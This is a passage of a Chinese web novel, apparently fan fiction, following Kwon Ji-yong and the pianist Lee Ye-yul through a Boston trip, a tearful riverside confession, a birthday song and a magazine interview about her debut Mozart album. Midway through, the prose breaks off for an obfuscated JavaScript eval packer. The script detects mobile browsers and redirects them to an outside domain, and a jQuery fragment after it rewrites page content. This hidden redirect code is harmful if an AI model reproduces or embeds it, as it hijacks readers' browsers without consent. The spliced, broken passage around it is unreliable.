还有,凭什么李艺率自顾自地把自己代入了富家公子的身份,甚至都没问过他的意见,就擅自把灰姑娘的角色丢给他啊?! 可恶! * 假期的最后几天,权至龙已经在大使馆补办好了旅行证,正式护照得等他回到韩国才能办理。 临近分别,他的心情愈发感到紧密的惆怅。 这次分开以后下次见面会是什么时候呢?离开以后她还会像现在这样在意他吗?会有人在他不知道的时候出现在她的生活里吗?他们的未来又会走向何处呢?他真的……能像现在这样长久又毫无保留的拥有她吗? 大概是盛大的狂欢临近落幕那一刻最叫人难以释怀,因此在李艺率无知无觉的情况下,权至龙的心底又生出了许多焦躁,愈发迫切地想要拼命抓住些什么。 如果叫李艺率知道他此刻的情绪,大概只会轻讪这家伙果然是内心住着一个敏感脆弱的小女孩。 真的不能放他闲下来啊! 偶尔被某只阴暗小狗自以为隐晦的深沉眼神悄悄扫过的李艺率心里如是想到。 大概心里还记挂着他之前提及过的事业不顺,因此李艺率十分想当然地找到了些“让他重新拾起信心”的方法——拉着他在波士顿当地最大、街头表演最多的昆西市场外的广场转悠。 甚至她还十分想当然地摇头感叹:“可惜了,波士顿这边非裔还是太少,赶上专业不对口了。” 权至龙:“……讲道理,这种黑人擅长说唱属于非常刻板印象的racist了吧。” 甚至是在麻省这样深蓝的地界说出这种话,这家伙是真的胆子很大啊! 对此李艺率只是振振有词:“我才没有这么说!小权你这家伙,会下意识地想到这些,就更证明你其实在心里一直有这样的偏见!” 被狠狠倒打一耙的权至龙:“…………” 午后的阳光把广场上的石板路晒得暖融融。 空气里混杂着咖啡香、食物餐车的油烟味和不同角落传来的音乐声,热闹又松弛。 李艺率和权至龙混在人群里,漫无目的地闲逛。 不远处有一位正弹着吉他用沙哑嗓音唱着老歌的民谣歌手,两人驻足听了一小会,李艺率从包里拿出散钞丢在敞开的琴盒里。 “可惜了,”李艺率这样感叹,“我们没办法这样自弹自唱,钢琴携带起来还是太不方便了啊!” 她的语气不免有些扼腕,听上去是真的很遗憾了。 权至龙:“…………我们好像也不是来当街头歌手的吧!” 他们这不是出来放风的吗?怎么一转头李艺率就当起了他的经纪人自顾自帮他规划起街头演出了啊! 然而上一秒权至龙还在吐槽,下一秒打脸就来得非常迅速。 转过一个街角,稍微开阔的角落,一群人正围成一个圈,气氛格外热烈。 圈的中央是几个玩Hip-Hop的年轻人,一个戴着棒球帽的男孩正对着麦克风即兴饶舌,节奏感极强的Beat从便携音响里流淌出来,鼓点沉重,低音炮震得人头顶发麻。 权至龙的脚步几乎是立刻就被钉住了。 他的身体下意识地随着那节奏轻微地晃动,手指在腿侧无声地敲击着节拍,琥珀色的眼睛里闪烁着一种李艺率很少见的光——不同于她常看到的害羞、无奈、包容甚至是受气包一样的眼神,那是一种像是被点燃的一样,跃跃欲试的兴奋。 那个戴着棒球帽的年轻Rapper显然很懂得如何调动气氛。 一段流畅的Verse结束后并没有停下,而是即兴地哼唱起一段旋律性更强的Hook,脚步移动,目光扫过一张张面孔,与围观的人群互动。 他的笑容带着鼓励和邀请的意味,周围的HipHop爱好者们也很捧场地加入热烈的氛围,直到麦克风被传递到他们这边—— 棒球帽男孩的身体随着节奏摆动,将麦克风移向他们眼前,用动作明确地示意—e on!Bro快接上! 还没等李艺率反应过来,身边的人影已经窜出去半步。 不同于身边人那样站在原地与棒球帽男孩互动,权至龙整个人像是被那节奏直接推出了人群,甚至是有些反客为主地从年轻Rapper手上接过麦克风,精准地接上了旋律。 有些少年气的嗓音从音响中流出。 flow流畅,押韵巧妙,听上去很是游刃有余。 他的身体随着音乐自然摇摆,眼神明亮,即使仅仅是街角临时拼凑的舞台,并没有华丽的舞美和精心设计的动线,也充满了感染力。 “Wow!” “Yeah!e on!” 人群因为这突如其来的高质量接龙而爆发出更热烈的欢呼,气氛也被推向了一个小高潮。 那名戴着棒球帽的男孩显然也露出了一个惊喜的眼神,似乎也没有想到这样随机的随机互动能“抓到”出一个高手。他笑着更加卖力地烘托节奏,将舞台中心让了出来。 而身为人群焦点的权至龙在表演的间隙仍有闲心,朝着李艺率的方向,对她眨了眨眼,嘴角勾起一个自信又带着点痞气的笑容。 李艺率:“…………” 不是刚刚还在吐槽她的提议吗?! 即兴表演彻底点燃了现场的气氛。 权至龙将麦克风递还给原主,又与对方兴奋地击掌,直到笑着退回李艺率身边时,脸上还带着未褪去的兴奋红晕。 “做得很好啊小权!”李艺率吧嗒吧嗒地跟着鼓掌,对上他有些羞涩闪躲却很明亮的眼睛,忽然觉得没有必要为这家伙的事业感到担心了。 她甩了甩发痛的掌心,又忍不住用肘尖戳了戳他,脸上是似笑非笑的恶趣味: “对了,我记得刚刚有人说他好像不是来做街头表演的……咦,是谁来着?” 权至龙:“…………” * 这天下午他们参观了昆西市场西侧的法纳尔大厅,又在两侧的南北市场的特色商店里买了些纪念品和伴手礼。 接着两人在附近的美食摊买了蛤蜊浓汤和龙虾卷,在广场附近找了张长椅坐下,看着不同肤色的游客穿梭而过,听着街头艺人断续的乐声和鸽群咕咕的叫声混杂在一起,慢吞吞地解决了这不知该算作中餐还是晚餐的一顿。 天色以肉眼可见的速度变暗了些。 湛蓝的天幕逐渐染上深邃的靛蓝,最后几缕霞光恋恋不舍地缠绕在建筑尖顶。 广场上的路灯和商店的橱窗灯逐一亮起,将傍晚的暮色渲染得温柔而梦幻。 白日里清晰的人影渐渐模糊成流动的光晕,谈话声和脚步声也仿佛被这渐浓的夜色过滤得轻柔了许多。 从附近的咖啡店打包了两杯热可可,他们准备在散步回去的路上喝,推开玻璃门的瞬间却差点就迎面与一对男女撞个满怀。 “Oops!很抱歉,刚刚我在和同伴说话…… ”对方率先道歉,抬眼的瞬间又露出惊喜的表情,“Hey!Lee!真没想到会在这里见到你!” 这两人是波士顿交响乐团弦乐组的成员,决赛前的几次合练中他们有打过照面简单交流过几句,所以还算是熟面孔了。 “哦,凯尔和索菲亚,你们好。” 李艺率点头招呼,朝两人摆了摆手。 索菲亚很是个热情开朗的姑娘,大概同为亚裔,她对李艺率格外亲切一些。 几人退到一旁简单寒暄两句,索菲亚顺势拿出手机说到:“我们能交换个联系方式吗?对了,我在茱莉亚的学弟前几天也过来听了决赛的演奏,” 茱莉亚是世界范围内都广受赞誉的音乐专业类学院,就读的尽是些学院派精英,像索菲亚这样年轻的乐手能被波交录取显然是专业背景足够硬。 她一边说着,一边递出手机示意李艺率在键盘中输入号码: “我的学弟也是钢琴专业的,他在听了你决赛时的《皇帝》以后一直庆幸还好没有作为选手参加今年的比赛呢……” 闻言,李艺率轻笑一声,将输入号码的手机递还回去,“感谢夸奖。” 然而她这样被动的社交模式并没有打消对方的热情。 索菲亚在拨通李艺率的手机后挂掉,又主动问道:“那我能把你的联系方式分享给我的学弟吗?同为钢琴专业,如果你们能有所交流的话简直再好不过了。他真的对你十分欣赏,也是个相当优秀的年轻男孩……” 她正想绞尽脑汁地想些溢美的词汇,一直站在身边充当木头人的凯尔悄悄拉了拉她的袖口,又偷偷打量了一眼同为木头人的权至龙。 权至龙:“…………” 索菲亚简直是想为学弟牵线搭桥的态度摆在了明面上,然而李艺率只当这是公事公办的交流。 虽然同行之间避免不了竞争,但古典乐圈里也不乏许多互相欣赏和成就的佳话,因此她倒也没多推辞,只是态度随意地点了点头。 看着两位年轻姑娘低着头摆弄手机按键,两个男孩悄悄交换了眼神:“…………” 这没什么的,正常的社交礼仪而已。 他也有和个别女练习生交换联系方式啊!只是交朋友而已,这很正常嘛! 权至龙这样想着,嘴里却像是被塞了一颗未成熟的青梅,酸涩的汁液从他齿间渗出,蔓延开来。 真叫人生气! 明明今天很愉快的,怎么临到结束的关卡反倒让他碰上这种事! 看着挨在一起的两个姑娘,权至龙只觉得手机屏幕上的蓝光也显得格外刺眼了起来。 好不容易挨到了两方分别,权至龙接到了临别时凯尔有些同情的目光,只觉得嘴里愈发酸得发苦。 然而罪魁祸首抿着热可可仍是一副无知无觉的模样。 他的手指无意识地抠着纸杯边缘的褶皱,闷闷哼了一声,声音轻得几乎听不见。 李艺率:“…………” 她侧头看了他一眼,暖棕色的眼睛里满是疑惑。 又怎么了啊我的大小姐?? * 两人沿着查尔斯河畔慢慢走向朗费罗桥。 夜幕低垂,波士顿的天际线在河对岸铺陈开来,摩天大楼的灯火倒映在漆黑的水面上,随着微波轻轻晃动、破碎,又重组,像一条流淌着的星河。 晚风带着河水的微凉气息拂过,权至龙看着走在他身前半步的李艺率。 桥灯柔和的光线勾勒出她的侧影,夜风吹起她鬓边的碎发,而他的心像是被这夜晚的风吹得鼓胀又酸涩,紧密的惆怅和焦躁再次翻涌上来,几乎要冲破喉咙。 这段时间如同过山车一样的情绪起伏终于因为一次短暂的交汇找到了宣泄的出口,而他也终于忍不住,快走两步与她并肩,声音被风吹得有些散,带着连他自己都难以察觉的紧绷: “艺率呀……” “嗯?”李艺率转过头,那对暖棕色的深湖在夜色中显得格外清亮,又柔软又遥远地望向他。 他深吸了一口气,仿佛终于借助夜风带来的勇气,问出了那个久久盘旋的、既幼稚,又至关重要的问题: “我……一直会是你最好的朋友,对吧?” 他顿了顿,视线有些慌乱地扫过河面的灯火,又像是怕听到否定的答案般, 急急地、甚至带着点自己都没察觉的酸意补充道,“就算等我回韩国以后我们的距离变得遥远,就算……我不像别人那样和你有共同语言……” 他的话没有说完。 李艺率:“?” 李艺率:“哪个别人?” 权至龙:“…………” 她眼睛里的疑惑那样真切,直白到让权至龙都有些无语。 权至龙:“就是刚刚和你交换联系方式的……那位‘学弟’。” 李艺率:“……就非得藏着一半说话吗?!” 她照例对权至龙这样若即若离的谈话方式进行一通批判,随后又理直气壮道:“你没听说过一句话吗?同行都是冤家!” 权至龙:“…………” 啊?不是恋人吗? 他一时竟不知道该怎么接话。 古典乐圈中的独立器乐专业,诸如钢琴这样绝对的C位器乐,和演艺圈的属性不同,鲜少会有合作的机会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273748|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同于演艺圈里比比皆是的同行恋情,在竞争比较和专业上更加针锋相对的古典乐圈,鲜少会有两位实力旗鼓相当的演奏者因为同行身份成为恋人。 可这样的回答显然不能拽住那颗摇摆的心。 权至龙想了一会,接着又有些期期艾艾地问道:“那……不是同行呢?还会成为朋友吗?” 这实在是盘旋在他心头许久的疑问。 他真的可以一直拥有她吗?甚至……如果最初不是因为鬼使神差答应了做李艺率的“仆人”,他们还会像现在这样要好吗? 他到底该怎么样才能长久地拥有她? 又该怎么样努力克制住心里的喜欢才能假装若无其事的站在朋友的位置上? 夜风轻轻吹拂着河面,撩动着权至龙的情绪。 闻言,李艺率的目光从被灯光点亮的桥廊上拉回,眉头轻轻蹙起,眼里闪过更深的疑惑: “这是什么奇怪的问题?我已经有朋友了啊。” 夜风似乎在这一刻静止了。 她这样不假思索的回答叫权至龙阴暗滋生的情绪瞬间萎顿了下去,可紧接着,一种更深沉的情绪后知后觉地翻涌上来,冰冷地漫过了他的心脏。 他做了什么…… 他之前都做了什么啊…… 权至龙看着她澄澈分明的眼睛,只感到一阵没由来的自厌。 李艺率的观念是一个闭合自洽的圆。 她那样慷慨地将他接纳包容,可他却……一边贪婪地汲取圈内的温暖,一边又恐惧着被推出圈外,用尽一切伤害她的方式预演失去。 甚至……甚至试图主动靠近另一个人,来填补他作茧自缚而产生的空洞。 他在她看不见的地方,怀着那些曲折阴暗的念头,卑劣地测量着,计算着,恐惧着,想着如何撤退,如何自保,甚至……如何“替代”。 啊,他真的很差劲啊。 强烈的对比让他无地自容。 比起她毫无防备的清澈,权至龙只觉得自己的那些心思龌龊得无处遁形。 夜风吹得他眼睛发涩。 他仓皇地低下头,手指无意识地收紧,指甲掐进掌心,过了很久才发出了干涩的声音: “艺率啊,抱抱我吧。” 声音里的颤抖叫李艺率愣了片刻。 他看向她,不知怎的,让她觉得眼前是一只淋湿受冻的小动物在哀鸣。 他说:“李艺率,抱抱我。” 她沉默地注视着他,尽管充满疑问,还是上前一步,伸出手臂环住了那个看上去快要碎掉的人。 她的拥抱很轻,却让他的身体猛地一僵。 随即像是被抽走了所有力气,额头小心翼翼地抵在她的肩头,过了片刻后像是终于察觉到这怀抱的重量,放任身体几乎是瘫软在这个拥抱里。 “这是突然怎么了?” 她轻轻地问道。 他没有说话,只是徒劳地攥紧她衣摆的一角,指节泛出青白色。 “再抱紧一点好不好?” 过了很久,风中传来有些破碎的声音。 “?” 穿过权至龙肋下的手默默收紧了些。 “再紧一点。” “还要多紧啊?” “要像如果你放手的话我就会掉出这个世界那样紧。” “……这种事情怎么可能会发生啊?!” “你抱着我的话就不会。” 耳边的呼吸滚烫,李艺率又使出了些气力,像是把他嵌进身体,融入皮肉里一样贴住了他。 李艺率:“这样够了吗?” “嗯。” 过了很久,李艺率听到了带着哽咽的声音破碎地溢出了他的喉咙: “对不起,我真的……做了很过分的事情。” 李艺率:“…………” 她听着权至龙的声音像是从很远的地方传来,断断续续的,像是微弱的光扎透缝隙,又像细雪落下,轻的几乎听不见。 权至龙:“我、我……前段时间认识了新的朋友。” 闻言,李艺率像是破功一样颤抖着笑了出来: “我还以为是什么夸张的事情呢!” 她一边笑着,一边抬手在他颈后拍了拍:“我一直都知道你除了我以外还有其他好朋友啊!” 说着,她的声音里带上了少见的温柔,像是在刻意安抚他的情绪宽慰道: “有的人会觉得社交很麻烦,但也有些人会认为社交是一种轻松愉快的事情,这都没有什么问题啊。我又没有小气到规定你必须只能有我一个好朋友。” 她笑着颤抖的姿态通过紧紧相拥的身体一直抵达他的肋骨,一下一下撞击着他脆弱的胸膛。 不是的。 我做的坏事远比你想象得还要过分上许多许多。 权至龙将脸埋在她的肩上,听着她无知无觉的声音,只觉得心里更难过了。 他闭上眼睛,眼角湿润地感受着这份几乎将他灼伤的宽容。 自厌的情绪依旧汹涌,却在她的怀抱里失去了尖锐的棱角,化作沉甸甸的酸楚,堵在他的胸口。 你不该给我爱的。 权至龙格外脆弱地这样想到。 你怎么能不爱我呢? * 这天夜的尽头,他们沿着查尔斯河畔走在一片静谧到近乎静止的时间里。 他们走得很慢,感受风裹着潮湿的气息涌来,仿佛这一刻的寂静和温度都刻进了彼此的记忆里。 也不知沉默了多久,权至龙忽然问道: “我之前……听哥说起过,我是你的第一个朋友,对吗?” 这个哥指的是李艺率的哥哥李叡承。 闻言,她沉思片刻,随即又点点头道:“应该算是吧。” 权至龙:“……什么叫算是啊。” 李艺率:“严格意义上来说,我以前有一个玩伴。” 像是触摸到了一些很久远的记忆,李艺率的眼睛落在了湖面跳跃的那片碎金上,过了许久才开口道: “那是一个很讨厌的家伙,说实话小时候经常欺负我呢!” “真的假的?!”权至龙实在想不到像李艺率这样可爱的家伙还有被人欺负的经历。大概是出于某种微妙的心理,他的声音格外愤愤不平:“那他现在人呢?” “啊,大概是终于忍受不了了,毕竟我也是个坏家伙嘛。” 她轻笑一声,悠悠地发出了权至龙听不真切的叹息,“所以后来他就把我丢下了。” 权至龙:“…………” 什么叫忍受啊?这种形容也太过分了吧! 李艺率现在这样轻描淡写的模样叫权至龙莫名感到心口发紧。 真奇怪。 明明她是笑着的模样,可那双凝视着湖水的眼睛却仿佛会在下一秒溢出多余的泪来。 他甚至不喜欢她这样长久地注视着同一个地方的模样。 这样想着,他忽然抓住她的手腕,迎着水边潮湿的风,终于挽回了和她的目光交汇—— 权至龙直视着那双平静的深湖,忽然开口道: “我不会丢下你的。” 李艺率:“什么?” “我说,”权至龙深吸一口气,直直地望向那张被风氤氲得微微泛红,在他眼中格外孩子气的脸庞,郑重地、一字一句地说到: “我说,我不会像那个人一样,丢下你的。” 闻言,李艺率忽然笑开了。 城市的灯火在她身后染上一层淡金色,夜风吹起她鬓边的碎发,又将她的轮廓温柔地晕开。 远处模糊的车流声、偶尔的船笛声被距离和风声一一柔和,成了此刻静谧背景里的低沉吟唱,那双暖棕色的眼睛在这样夜色中显得这样澄澈清亮。 他看着那双眼睛落在他身上,带着让人心颤的笑意。 他看见她轻轻眨了眨眼睛,像是要将他刻进瞳孔深处那样认真。 他看见她开口了,声音轻得仿佛害怕惊扰了夜色。 真敢说啊你,明明只是区区小权。 他看见那瓣娇俏的嘴唇轻启,吐出让他目眩神迷的声音。 40.又翻车了捏 “啊,起床了啊,睡得好吗……” 权至龙拿着水杯推开房门,走到客厅接水的时候仍是保持着用肩膀夹着手机贴在耳边的动作。 电话那头似乎是抱怨了些什么,他脸上又浮现出了让人格外牙酸的笑容,“刚和你分开我觉得很不习惯嘛……哦对了,你点开我给你发的文件了吗?” 他对着电话发出了黏黏糊糊的声音,视线扫过坐在客厅沙发上看电视的成员们,眨眨眼露出一个格外刻意又让人觉得意味不明的炫耀表情,继而拿着水杯关上了房门。 成员们:“…………” 大声忍不住推了推永裴,声音里透着些期期艾艾:“哥,按照你之前的经验来说,这种情况大概还会持续多久?” 永裴:“…………” 谢天谢地,某人从去年秋天开始持续了三四个月的低气压终于在这次假期以后散开—— 当其余成员们仍沉浸于解放的侥幸之中时,东永裴已经早早预见到了事情远没有几人想象当中的那样乐观。 说实在的,大概是出道以后的分水岭将他们彻底从男孩分化成了已经工作的“社会男人”,权至龙和东永裴在这个时期虽然关系依旧相当亲厚,但比起共同扶持无话不谈的练习生时期,还是多了几分微妙。 毕竟人在接纳了自己的社会身份以后,总是习惯性地会在生活中有所保留,只将大部分自我留到心中那块很小的自留地当中去。 现在回想起来,其实从高中时期权至龙和李艺率产生交集开始,身为旁观者的东永裴便早早得以预见如今的现状。 最初时,权至龙的生活还很小,小到足够和东永裴分享简陋的地下练习室、苦苦等待的地铁站台和那些悄悄抱怨迷茫的、微不足道的瞬间。 但不知从什么时候起,大概是在李艺率出现在权至龙的生命中后,他的世界里多了许多东永裴难以得见的色彩,大部分闲暇的时光也被他更多投入参与到另一段关系当中去。 对于这一点,东永裴在小小伤感的同时,仍是抱着祝福的眼睛目送他的背影……但这并不代表他已经坦然接受了成为两人这段感情里的受害人之一! 一周前,消失了大半个月的权至龙再一次回到宿舍。 不同于假期前紧绷疲惫的低气压模样,这一次的他看上去轻松了不少,脸上甚至带着一种看上去完全沉浸在幸福里、甚至还要假装不经意实则十分露骨的关种微笑。 甚至还主动拿出了这次美国行带回来的纪念品主动送给他们——印有巨大Harvard LOGO的周边,虽然除了这半个月的旅游见闻倒也没多说些什么,可就是让人莫名觉得他把炫耀嘴脸明晃晃地舞在了大家的脸上。 永裴:………… 说真的,他们的关系好像也没有亲密到这种程度, 所以可以继续保持这种纯粹的business关系,停止迫害了吗?! * 关于权至龙的态度转变最直观的感受人莫过于李艺率了。 回国后的权至龙像是忽然觉醒了什么粘人精的特质一样,隔着十四个小时的时差好像也丝毫无法阻挡他的热情。 不仅事无巨细地汇报起每天的行程,掐好她的作息进行每日的通话,甚至会在她没第一时间回复消息的时候发出抱怨的抗议……这让李艺率一时之间都忍不住怀疑是不是所谓弃猫效应在作祟。 李艺率:……等下,他们俩的角色是不是倒置了啊。 明明她才是那只弃猫才对吧?! 可偏偏当事人全然没有意识到这一点的自觉。 此时大洋彼岸的声音通过手机听筒传来,也不知道为什么,明明分开前还很正经的,结果一回国以后他整个人就变得像软体动物那样黏黏糊糊起来。 “我正准备打开电脑听,”李艺率边说着边打开电脑,“一大早就神神秘秘的……” 她这样抱怨着,打开电脑登录NAVER网站,点开聊天窗口以后打开了权至龙在几个小时前给她发送的音频文件。 短暂加载片刻后,轻微的电流声响起。印象里率先流泻出的是一段干净而轻柔的吉他扫弦,旋律简单却异常温暖。伴随着轻快的鼓点,李艺率听到了柔软中略带沙哑的熟悉嗓音: ‘1988年3月的最后一天 等待着属于你的第二十个生日 我其实有点害羞 我本来就不善于表达 只好把我的心意和感情寄予这歌词里 在你面前变成简单的一曲 来吧~来吹蜡烛吧!’ 李艺率:“…………” 看着屏幕上跳动的音频波形,她的呼吸下意识地放轻了,刚刚的抱怨也慢慢沉淀下来,转化为一种更为柔软的神情。 在他的rap唱段结束以后,音箱里响起了一个极具辨识度的和音,轻柔地切入了副歌。 李艺率听着明亮的副歌旋律,又听见那些诸如‘感谢你出现在我的生命中~’‘每天都沉醉在你的眼睛里’这样极尽肉麻的歌词,像是终于破功一样笑了出来: “这是找谁唱的呀?” 电话那头权至龙的声音里还带着调侃:“特地邀请的神秘嘉宾。” 尽管隔着电话看不清彼此的表情,但权至龙还是能想象得出她此刻微微挑着眉,强装着淡定又忍不住开心扬起嘴角的可爱模样,忍不住加深了笑纹邀功道: “我是专门算好时间掐着凌晨给你发的!” 李艺率轻笑:“这么说来,小权你的确是今年第一个给我送上生日祝福的人啊。” 这算什么啊, 他的目标可是以后每年都要做这个第一人呢! 权至龙听着她甜滋滋的声音,心里也跟着软成一片地这样想到。 * 古典乐行业的演奏家在获得国际性荣誉以后往往就意味着职业道路已然打开。 如范赛肖赛柴赛等国际性赛事,一旦在其中拥有良好的表现甚至获得奖项,便意味着进入了古典乐传统的成功路径,与IMG、Opus 3等顶级艺术家经济公司签约,在随后的两到三年内进行密集的演出……直到下一届赛事迭代,冠军光环逐渐褪去。 到了那时候,究竟是在艺术瓶颈中实现自我突破,还是就此泯然众人,则完全取决于演奏家个人的积累与沉淀了。 但李艺率并不打算复刻这条无数前辈走过的路径。 一来是她的身体和精力支撑不了这样频繁的商演,二来……她压根就不缺钱。 大部分因赛事成名的乐手,多是倾注财力和时间苦心培养的。 在赛后安排紧锣密鼓的商演,不仅是迅速打开知名度和影响力的方式,更是为了回收投资成本的重要手段。 因此,在婉拒了经纪公司抛出的橄榄枝和商演邀约后,她又应下了波交的指挥霍斯先生和此前在本届范赛担任评委的日裔指挥家大泽先生的邀请,等待乐团的合作排期。之后,她便将这段时间里的全部精力投入了自己的首张唱片灌录。 大多数演奏家的第一张唱片通常是以大赛曲目或是炫技作品。 对于这一点,李艺率在与索尼唱片签约以后也曾思考过,但最终还是选择了回归古典主义的清澈与平衡,以莫扎特的协奏曲做为自己想要展现的艺术理念。 * 这边李艺率精心雕琢着自己富有诗意的乐句表达时,权至龙也再次投入到了连轴 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有人介绍到,又转头为梁锡硕引荐:“梁社长,这位是我们家的大公子,目前负责电子版块业务,李叡承理事。” 梁锡硕:“您好。” 不出意外的话,这位就是未来三十年后银河这架庞大商业帝国的掌舵者了。 他赶忙上前一步,弯下有些谦卑的腰杆与对方握手,又顺势递上了名片道:“真是久仰大名。” 闻言,李叡承微微颔首,他的手指摩挲着名片锋利的边缘,目光停留几秒后才勾起一个浅淡的笑意:“梁社长,您好。我的妹妹承蒙您关照了。” 梁锡硕:“……哪里。” 不提倒便罢了,一提起来梁锡硕又回想起了那笔被算计了以后亏到老家的赔本买卖,心中不免苦涩。 可即便如此,他还是得将带血的牙齿咽下,勾起一个假装感动的虚浮笑容: “多亏李小姐三年前的雪中送炭,才解决了我们那时的燃眉之急。” 说着,他又顺势介绍了权至龙及其身边四个假装木头人的少年:“也是仰赖了李小姐的慷慨,我们Bigbang才能顺利出道。这一次能接到这样优秀的合作机会,真是非常感谢您对他们的认可……” 说着,他用眼神示意几个少年鞠躬打招呼。 权至龙:“…………” 几人被按了开关似的齐刷刷鞠躬问好。 李叡承淡淡颔首,目光扫过几人,停留在权至龙略显僵硬的脸上,终于露出了看起来发自内心的笑容: “至龙xi好久不见了啊,最近没来家里玩了,姨母们都很想你呢。” 权至龙:“…………” 察觉到在场所有人的目光在一瞬间聚焦到了自己身上,权至龙隐隐感觉寒气顺着脊背往上爬,连带着后颈都沁出了冷汗。他勉强挤出一个略显僵硬的羞涩笑容: “好久不见……哥。最近在录制新专辑,稍,稍微有点忙。” 李叡承似乎对他的回答早有预料,闻言只是点头笑道:“等不忙了来家里做客。” 继而又转过身对身后的一众高管介绍道:“这是我妹妹的好朋友,也是我非常亲的弟弟。” 几名高管闻言立时发出感叹,甚至原先摄影棚内态度高高在上的广告导演也跟着夸赞起了权至龙的拍摄表现力,仿佛刚刚那副高高在上的嘴脸全然没有存在过。 在充满恭维和一片大好的浮夸氛围中,权至龙对上了梁锡硕看上去格外痛心疾首的眼神—— 权至龙:“…………” 41.新王登基 “好久不见了。” “是啊。” 采访室里,灯光柔和地洒在两张对放的椅子上,《留声机》杂志的资深编辑莎曼萨勾起一个略带怀念的笑容,目光在李艺率那张早已褪去稚气的脸上停留片刻后,轻声说道,“上一次见面还是在五年前吧?” “对。” 李艺率点点头,平静地直视对方的眼睛。 历时近三个月的筹备和录制,李艺率的首张唱片《莫扎特协奏曲选集》终于录制完毕。 该张唱片收录了d小调第20号钢琴协奏曲 (K. 466)和C大调第21号钢琴协奏曲 (K. 467)两首莫扎特最为出名也最首爱戴的协奏曲作品,以轻盈灵巧的触键和如歌的旋律线条全方位展现了莫扎特作品中截然不同的情感表达和音色控制力。 一位新晋的“范·克莱本双料冠军”绝对是古典乐坛数年一遇的大事件。 诸如《留声机》这样的纸媒,算得上是行业的品味塑造和“造神”的一部分。 事实上,他们的确乐于发掘并推举一位新的大师,通过深度报道将她介绍给全球的乐迷,这能大大巩固杂志的权威性。 因此,对于李艺率此次受邀接受采访,《留声机》绝不会只满足于发一篇短评。 这几个月来,编辑莎曼萨一直全程跟随唱片录制过程,并在唱片录制成功后第一时间预约了这次的深度专访,深度剖析她的艺术生涯和音乐理念撰写下一期的重磅封面专题。 窗外的暮色仿佛也为这场对话添上了一层沉静的底色,谈话也在这样的氛围中逐渐展开。 这并不是李艺率第一次与《留声机》产生交集。 在十四岁那年的日内瓦公开赛上,她就曾因自己过分年轻的获奖者身份引起过关注。可惜当时还没来得及约好采访时间,她就因一起车祸被禁锢在了轮椅上,自此一蹶不振了很长时间—— 那时发出‘天才陨落’这样惋惜的声音的便是这家杂志。 巧合的是,那则报道正是出自彼时还没晋升为专栏作家,仍是普通记者的莎曼萨之手。 莎曼萨看着目光平和神态自若的李艺率,心中一时间生出了许多感慨。 在接到这位新晋双料王专栏采访的任务以后,莎曼萨在欣喜之余,心下其实还带着一丝连自己都不易察觉的忐忑。 毕竟平心而论,如果角色互换,她是绝不可能对在自己人生最低谷时、在自己最亲爱的老师的葬礼上还追着发出尖锐追问的讨厌媒体有什么好感的。 现在回想起自己数年前那篇以“天才陨落”为标题的报道,字里行间虽然满是惋惜,但难免带着高高在上的审视和显而易见的同情。 如今想来,这对当时的李艺率而言,大概无异于在伤口上撒盐。 可谁都没想到,当时那名坐在轮椅上瘦弱憔悴的少女会以这样一种姿态在五年以后迎来淬火重生。 在最初对接工作时她本以为,李艺率因为几年前的那段经历,对她、甚至连带着《留声机》都抱有深深的芥蒂——然而这段时间李艺率的态度却平和得超乎莎曼萨的预料。 她语气和平地聊起唱片录制的细节,那些沉重又不堪的过往仿佛只是她人生乐章中一段必然的、已然翻过去的间奏。 谈及为什么在波士顿交响音乐厅录制,又为什么花费重金邀请由BSO的精英成员组成的室内乐团合作录制唱片时,她的语气显得很坦然: “我的第一张唱片很有纪念意义啊,想要拥有匹配的资源和配置也是人之常情吧。” 毕竟她生来就一直在享受最好的待遇嘛。 莎曼萨忍不住追问:“那有没有考虑过,这样的选择可能会让一些乐评人……嗯,产生一些先入为主的看法?比如,认为这是某种‘富家女的玩票’的任性体现?” 她问得小心翼翼,李艺率闻言却只是极淡地笑了一下。 “为什么要在意别人的看法?”她顿了顿,声音清晰,带着些孩子气,可又矛盾地将超越年龄的自我展现得淋漓尽致: “这个世界上总会出现很多刺耳的声音,可难道只因为这一点,我就要听着这些声音遵从别人的意见吗?为什么就不能是由我来发出大声又好听到能让所有人竖起耳朵欣赏的声音来让大家停下质疑为我鼓掌呢?” 实际上在几年前李艺率日内瓦公开赛夺冠以后,学界也发出过质疑的声音。 其中大多是围绕她的家世背景,以及老师是著名演奏家的“学阀”属性展开,在对她自身实力发出质疑的同时,甚至上升到了‘古典乐已经变成了有钱人家孩子的角逐名利的工具、早已不再纯粹’这样阶级对立的立场中去——仿佛这样就能把李艺率的所有努力淹没在偏见的洪流中。 身为受尽宠爱的财阀女,李艺率当然享受了大多数平常人难以企及的物质和优待,自然也说不出诸如‘我的家世变成了我的拖累’、‘希望大家能多关注我作为人本身的闪光点’这类听上去有点类似于烂俗言情剧里无病呻吟的富家二世祖台词。 她的确是生来就含着金汤匙站在罗马终点,但相比其他成天追求刺激和物质的二世祖们,她不仅没染上任何恶习,反而这样刻苦自律的努力只为在精神爱好上获得更高的追求……这简直是隔壁豪门家的孩子们的完美模板了吧! 更不用说她为人随和性格超棒,连她的好友小权都直言她是个过分可爱的家伙呢! 李艺率颇有些自得的这样想到。 她这番话听起来实在是孩子气,可其中展现的高强度自我又让莎曼萨忍不住咋舌感叹。 莎曼萨凝视着李艺率那张仍带些许少女稚气的脸庞,耳边却不由自主地回响起几个小时前才聆听过的完整版唱片母带—— 那琴声与李艺率这个人形成了奇妙的互文。 没有丝毫的炫技浮夸和娇饰抒情的旋律从指尖流淌而出,每一个音符都落在最恰当的位置,精准而高贵。 在K.466的d小调戏剧性冲突中,她展现出的不是狂风暴雨般的宣泄,而是一种深沉的、内敛的力量,线条清晰,结构感极强;而在K.467著名的“埃尔维拉·马迪甘”行板中,她又化身为最优雅的诗人,旋律温暖而克制,那份澄澈透明的音色,没有丝毫的多愁善感,却能映照出灵魂最真实的底色,直抵人心最柔软的地方。 这不是一张试图讨好任何人的唱片。 